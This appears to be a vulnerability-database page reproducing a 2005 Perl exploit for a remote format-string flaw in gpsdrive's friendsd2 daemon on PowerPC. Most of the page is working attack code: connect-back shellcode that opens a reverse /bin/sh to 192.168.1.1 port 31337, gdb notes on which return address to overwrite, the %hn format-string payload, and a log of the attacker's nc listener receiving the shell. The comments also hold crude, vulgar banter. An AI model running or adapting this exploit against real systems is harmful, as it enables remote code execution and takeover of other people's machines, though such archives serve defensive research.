Lucene search
K

gpsdrive <= 2.09 (friendsd2) Remote Format String Exploit (ppc)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

gpsdrive <= 2.09 Remote Format String Exploit (ppc) from digitalmunition.co

Code

                                                #!/usr/bin/perl -w
# 
# Heh - Code by KF (kf_lists[at]digital_munition[dot]com)
#     - Shellcode by Charles Stevenson
# http://www.digitalmunition.com
#
# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles. 
# Free 14 day Testicle licking trial available! 
#
#                           IIIIIIIIII
#                           I::::::::I
#                           I::::::::I
#                           II::::::II
#                             I::::I
#                             I::::I ##     ##  #######  ########  ##    ##
#                             I::::I ##     ## ##     ## ##     ##   ####
# EEEEEEEEEEEEEEEEEEEEEE      I::::I ##     ## ##     ## ########     ##
# E::::::::::::::::::::E      I::::I  ##   ##  ##     ## ##   ##      ##
# E::::::::::::::::::::E      I::::I   ## ##   ##     ## ##    ##     ##
# EE::::::EEEEEEEEE::::E      I::::I    ###     #######  ##     ##    ##
#   E:::::E       EEEEEE      I::::I
#   E:::::E                 II::::::II
#   E::::::EEEEEEEEEE       I::::::::I
#   E:::::::::::::::E  and  I::::::::I
#   E:::::::::::::::E       IIIIIIIIII
#   E::::::EEEEEEEEEE    ########   #######  ##    ## ##    ##
#   E:::::E              ##     ## ##     ## ###   ##  ##  ##
#   E:::::E       EEEEEE ##     ## ##     ## ####  ##   ####
# EE::::::EEEEEEEE:::::E ########  ##     ## ## ## ##    ##
# E::::::::::::::::::::E ##     ## ##     ## ##  ####    ##
# E::::::::::::::::::::E ##     ## ##     ## ##   ###    ##
# EEEEEEEEEEEEEEEEEEEEEE ########   #######  ##    ##    ##
# (Kickin you all up in your grill piece since the early 90&#39;s)
#                                                      
# friendsd.c:367:   fprintf (stderr, txt);
#
# Tested against: gpsdrive_2.09-2_powerpc.deb
#
# Crash the program and go to frame 2
# 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
# (gdb) bt
# #0  0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
# #1  0x0f67cc74 in vfprintf () from /lib/tls/libc.so.6
# #2  0x0f6825d0 in fprintf () from /lib/tls/libc.so.6
# #3  0x100024b8 in dg_echo ()
# #4  0x10002f28 in main ()
#
# Grab the address of Arglist for frame 2 and overwrite that +4
# (gdb) i f
# Stack level 2, frame at 0x7fffad70:
# pc = 0xf6825d0 in fprintf; saved pc 0x100024b8
# called by frame at 0x7fffae00, caller of frame at 0x7fff8700
# Arglist at 0x7fffad70, args:
# Locals at 0x7fffad70, Previous frame&#39;s sp in r1
#
# (gdb) x/a 0x7fffad70+4
# 0x7fffad74:     0xf6825d0 &#60;fprintf+112&#62;  (overwrite this)
#
# animosity:/home/kfinisterre# nc -l -p 31337 -vvv
# listening on [any] 31337 ...
# 192.168.1.1: inverse host lookup failed: Unknown host
# connect to [192.168.1.1] from (UNKNOWN) [192.168.1.1] 3349
# id;
# uid=1000(kfinisterre) gid=1000(kfinisterre) 
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre)
# uname -a;
# Linux animosity 2.6.11-powerpc #1 Fri May 13 15:47:19 CEST 2005 ppc GNU/Linux
#
# This is NOT reliable or robust... Find your own damn pointers to overwrite

use Net::Friends;
use Data::Dumper;

$shellcode  =
&#34;\x69\x69\x69\x69&#34;  .  
# /* connect-core5.c by Charles Stevenson &#60;[email protected]&#62; */
&#34;\x7c\x3f\x0b\x78&#34; . #/*mr    r31,r1*/
&#34;\x3b\x40\x01\x0e&#34; . #/*li    r26,270*/
&#34;\x3b\x5a\xfe\xf4&#34; . #/*addi  r26,r26,-268*/
&#34;\x7f\x43\xd3\x78&#34; . #/*mr    r3,r26*/
&#34;\x3b\x60\x01\x0d&#34; . #/*li    r27,269*/
&#34;\x3b\x7b\xfe\xf4&#34; . #/*addi  r27,r27,-268*/
&#34;\x7f\x64\xdb\x78&#34; . #/*mr    r4,r27*/
&#34;\x7c\xa5\x2a\x78&#34; . #/*xor   r5,r5,r5*/
&#34;\x7c\x3c\x0b\x78&#34; . #/*mr    r28,r1*/
&#34;\x3b\x9c\x01\x0c&#34; . #/*addi  r28,r28,268*/
&#34;\x90\x7c\xff\x08&#34; . #/*stw   r3,-248(r28)*/
&#34;\x90\x9c\xff\x0c&#34; . #/*stw   r4,-244(r28)*/
&#34;\x90\xbc\xff\x10&#34; . #/*stw   r5,-240(r28)*/
&#34;\x7f\x63\xdb\x78&#34; . #/*mr    r3,r27*/
&#34;\x3b\xdf\x01\x0c&#34; . #/*addi  r30,r31,268*/
&#34;\x38\x9e\xff\x08&#34; . #/*addi  r4,r30,-248*/
&#34;\x3b\x20\x01\x98&#34; . #/*li    r25,408*/
&#34;\x7f\x20\x16\x70&#34; . #/*srawi r0,r25,2*/
&#34;\x44\xde\xad\xf2&#34; . #/*.long0x44deadf2*/
&#34;\x7c\x78\x1b\x78&#34; . #/*mr    r24,r3*/
&#34;\xb3\x5e\xff\x16&#34; . #/*sth   r26,-234(r30)*/
&#34;\x7f\xbd\xea\x78&#34; . #/*xor   r29,r29,r29*/
#// Craft your exploit to poke these value in. Right now it&#39;s set
#// for port 31337 and ip 192.168.1.1. Here&#39;s an example
#// core@morpheus:~$ printf &#34;0x%02x%02x\n0x%02x%02x\n&#34; 192 168 1 1
#// 0xc0a8
#// 0x0101
&#34;\x63\xbd&#34; .  # /* PORT # */ 
&#34;\x7a\x69&#34; .  #/*ori   r29,r29,31337*/
&#34;\xb3\xbe\xff\x18&#34; . #/*sth   r29,-232(r30)*/
&#34;\x3f\xa0&#34; . # /*IP(A.B) */ 
#&#34;\x42\x07&#34; . # wtf is this?
&#34;\xc0\xa8&#34; . # /*lis   r29,-16216*/
&#34;\x63\xbd&#34; . # /*IP(C.D) */ 
#&#34;\xa1\x39&#34; . #  wtf is this? 
&#34;\x01\x01&#34; . # /*ori   r29,r29,257*/
&#34;\x93\xbe\xff\x1a&#34; . #/*stw   r29,-230(r30)*/
&#34;\x93\x1c\xff\x08&#34; . #/*stw   r24,-248(r28)*/
&#34;\x3a\xde\xff\x16&#34; . #/*addi  r22,r30,-234*/
&#34;\x92\xdc\xff\x0c&#34; . #/*stw   r22,-244(r28)*/
&#34;\x3b\xa0\x01\x1c&#34; . #/*li    r29,284*/
&#34;\x38\xbd\xfe\xf4&#34; . #/*addi  r5,r29,-268*/
&#34;\x90\xbc\xff\x10&#34; . #/*stw   r5,-240(r28)*/
&#34;\x7f\x20\x16\x70&#34; . #/*srawi r0,r25,2*/
&#34;\x7c\x7a\xda\x14&#34; . #/*add   r3,r26,r27*/
&#34;\x38\x9c\xff\x08&#34; . #/*addi  r4,r28,-248*/
&#34;\x44\xde\xad\xf2&#34; . #/*.long0x44deadf2*/
&#34;\x7f\x03\xc3\x78&#34; . #/*mr    r3,r24*/
&#34;\x7c\x84\x22\x78&#34; . #/*xor   r4,r4,r4*/
&#34;\x3a\xe0\x01\xf8&#34; . #/*li    r23,504*/
&#34;\x7e\xe0\x1e\x70&#34; . #/*srawi r0,r23,3*/
&#34;\x44\xde\xad\xf2&#34; . #/*.long0x44deadf2*/
&#34;\x7f\x03\xc3\x78&#34; . #/*mr    r3,r24*/
&#34;\x7f\x64\xdb\x78&#34; . #/*mr    r4,r27*/
&#34;\x7e\xe0\x1e\x70&#34; . #/*srawi r0,r23,3*/
&#34;\x44\xde\xad\xf2&#34; . #/*.long0x44deadf2*/
#// comment out the next 4 lines to save 16 bytes and lose stderr
#//&#34;\x7f\x03\xc3\x78&#34;    /*mr    r3,r24*/
#//&#34;\x7f\x44\xd3\x78&#34;    /*mr    r4,r26*/
#//&#34;\x7e\xe0\x1e\x70&#34;    /*srawi r0,r23,3*/
#//&#34;\x44\xde\xad\xf2&#34;    /*.long0x44deadf2*/
&#34;\x7c\xa5\x2a\x79&#34; . #/*xor.  r5,r5,r5*/
&#34;\x42\x40\xff\x35&#34; . #/*bdzl+ 10000454&#60;main&#62;*/
&#34;\x7f\x08\x02\xa6&#34; . #/*mflr  r24*/
&#34;\x3b\x18\x01\x34&#34; . #/*addi  r24,r24,308*/
&#34;\x98\xb8\xfe\xfb&#34; . #/*stb   r5,-261(r24)*/	/* KF / Core / Ghandi mojo */
&#34;\x38\x78\xfe\xf4&#34; . #/*addi  r3,r24,-268*/
&#34;\x90\x61\xff\xf8&#34; . #/*stw   r3,-8(r1)*/
&#34;\x38\x81\xff\xf8&#34; . #/*addi  r4,r1,-8*/
&#34;\x90\xa1\xff\xfc&#34; . #/*stw   r5,-4(r1)*/
&#34;\x3b\xc0\x01\x60&#34; . #/*li    r30,352*/
&#34;\x7f\xc0\x2e\x70&#34; . #/*srawi r0,r30,5*/
&#34;\x44\xde\xad\xf2&#34; . #/*.long0x44deadf2*/
&#34;/bin/shZ&#34;;     # /* Z will become NULL */

$name = &#39;aaaaaaaa-aaaa&#39;;  
 
$writeaddr = 0x7fffad74; # Saved ret in frame 2 Arglist+4 (inside gdb)
$writeaddr = 0x7fffad94; # (outside gdb) Pladow! Kickin fools all up in the grill piece. 

$addy  = pack(&#39;l&#39;, $writeaddr);
$addy2 = pack(&#39;l&#39;, $writeaddr+2);

#$instr = 0x7fffae84;  # Shellcode (inside gdb)
$instr = 0x7fffaea4;  # Shellcode (outside gdb)

$lo = ($instr &#62;&#62; 0) & 0xffff;
$hi = ($instr &#62;&#62; 16) & 0xffff;
		
$hi = $hi - 0x4e;
$lo = (0x10000 + $lo) - $hi - 0x50;		

#$hi = 1; $lo =1;

$dir = &#34;$addy$addy2|%.&#34; . $hi . &#34;d|%28\$hn|%.&#34; . $lo . &#34;d|%29\$hn$shellcode&#34;;

$friends = Net::Friends-&#62;new(shift || &#39;localhost&#39;);
$friends-&#62;report(name =&#62; $name, lat =&#62; &#39;1111&#39;, lon =&#62; &#39;2222&#39;, speed =&#62; &#39;3333&#39;, dir =&#62; $dir);
print Dumper($friends-&#62;query);

# P.S. Fsck drow! And did I mention k-otick blows! Gimme some freedom fries you bastards! 

# milw0rm.com [2005-11-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
32